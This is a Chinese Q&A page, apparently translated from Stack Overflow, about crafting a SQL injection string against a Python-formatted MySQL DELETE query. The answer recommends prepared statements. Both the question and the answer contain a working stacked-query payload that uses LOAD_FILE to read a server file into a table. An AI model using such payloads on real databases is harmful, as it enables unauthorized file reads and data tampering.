首页 > 解决方案 > OperationalError: (1292, '截断不正确的 DOUBLE 值:\'1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\');"-- \' ')

问题描述

我想注入这个字符串 - 以便它将表 foo 中的文本更新为文件中的红色文本(我不在乎它对前面的 delete 语句做了什么)

"1\\'; UPDATE foo SET text = LOAD_FILE(\\'/something/something.txt\\');\"-- "

进入 python 代码,其中 id 设置为我的字符串:(这不能更改,因为它是给定的)

"DELETE FROM bar WHERE user_id = \'%s\' and bar_id = \'%s\';"%(str(user_id), str(id))

编辑: 它像这样工作(没有最后一个引号和 #- 而不是 --):“1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\'); #- ”

标签: pythonmysqlsql-injection

解决方案


您不需要反斜杠,如果 id 是整数,您也不需要 '. 你应该像这样重写它:

"DELETE FROM bar WHERE user_id = '%s' and bar_id = '%s';"%(str(user_id), str(id))

并且您应该使用准备好的语句来避免 sql 注入。你可以使用这样的准备好的语句(在这个你必须去掉')

cursor.execute("DELETE FROM bar WHERE user_id = %s and bar_id = %s;",(str(user_id), str(id),))

编辑 如果您执行以下操作:

x="1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\'); --"
y="DELETE FROM bar WHERE user_id = \'%s\' and bar_id = \'%s" % (2,x)

你在 y 中得到的是

DELETE FROM bar WHERE user_id = '2' and bar_id = '1'; UPDATE foo SET text = LOAD_FILE('/something/something.txt'); --

推荐阅读